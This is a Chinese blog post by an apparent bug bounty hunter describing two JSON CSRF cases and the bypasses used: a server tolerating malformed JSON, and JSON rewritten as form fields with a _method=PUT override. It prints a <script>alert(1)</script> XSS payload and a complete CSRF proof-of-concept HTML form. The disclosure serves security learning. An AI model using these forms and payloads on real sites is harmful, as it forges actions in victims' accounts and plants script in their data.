两则JSON CSRF实例

最近面试被问到JSON CSRF,还刚好挖过他们家SRC两个实际案例,当时挖洞的时候也特地去查过JSON CSRF的资料,可面试的时候怎么也没想起来,遂翻出以前SRC的报告记录一下再整理下JSON CSRF的利用方法

JSON CSRF

所谓JSON CSRF和普通CSRF的不同及利用难点在于

  1. POST的包体为JSON格式,而不是键值对,一般HTML表单无法构造

  2. Content-Type 头一般需要设置为 application/json,HTML表单同样无法构造

使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域

所以在服务端严格校验JSON格式和Content-Type的情况下,目前的解决方案我只找到利用Flash的跨域与307跳转(具体见参考文章),但Flash无疑已经过时了,某些浏览器也默认禁止了Flash运行。所以我挖到的两个”JSON CSRF”应该都不算严格意义上的JSON CSRF,而是寻找到了其他绕过的方式

未验证Content-Type头且未严格校验JSON格式案例

直接复制当时报告中的描述了

对关注列表取消关注再关注时可抓到关注请求包,经测试url中的_signature参数无校验作用。csrf_token存于cookie, 无效。所以可构造CSRF,但是这里是JSON格式请求包,用XMLHttpRequest构造的话存在跨域问题无法解决

但是发现服务器对JSON数据有容错性,即JSON数据后多了个等号依旧能正常识别,而且服务器不校验Content-Type头,故构造一般的html表单,name为JSON数据即可

严格验证Content-Type头和JSON格式案例

直接创建日程放入payload即可收获一个self xss,但selfx没用,然后发现没有csrftoken及referer和orgin的验证,可配合CSRF

但由于body是JSON格式(如下),而且服务器对JSON没有容错性,也会验证Content-Type,一般的CSRF表单无法构造

1
{"title":"<script>alert(1)</script>","type":1,"timezone":"Asia/Shanghai","isAllDay": "1","reminders":[{"minutes":60}],"description":"","rrule":"","start":1588465800,"end":1588469400,"hasAlarm":1}

然后手动修改参数为键值对形式,Content-Type为application/x-www-form-urlencoded,服务端依旧可以正常识别,还有问题的就是"reminders": [{"minutes":60}]是一个数组对象,反复测试发现可以这样构造reminders[][minutes]=60

1
title=<script>alert(1);</script>&type=1&timezone=Asia/Shanghai&isAllDay=0&reminders[][minutes]=60&description=&rrule=&start=158847840&hasAlarm=1

然后用burp自动生成CSRF POC,但是失败,没发现原因,自己手工构造后测试发现网页返回错误,最后才发现网站是用的PUT请求

用表单只能构造GET/POST请求,仿佛又要放弃了,但是最后查阅资料多次测试下,发现加入_method=PUT即可,最后POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://www.xxxxx.com/xxxx?_method=PUT" method="POST">
<input type="hidden" name="title" value="&lt;script&gt;alert&#40;1&#41;&#59;&lt;&#47;script&gt;" />
<input type="hidden" name="type" value="1" />
<input type="hidden" name="timezone" value="Asia&#47;Shanghai" />
<input type="hidden" name="isAllDay" value="0" />
<input type="hidden" name="reminders&#91;&#93;&#91;minutes&#93;" value="60" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="rrule" value="" />
<input type="hidden" name="start" value="1588478400" />
<input type="hidden" name="end" value="1588482000" />
<input type="hidden" name="hasAlarm" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

参考

谈谈Json格式下的CSRF攻击

挖洞经验 | 用HTTP请求重写实现JSON CSRF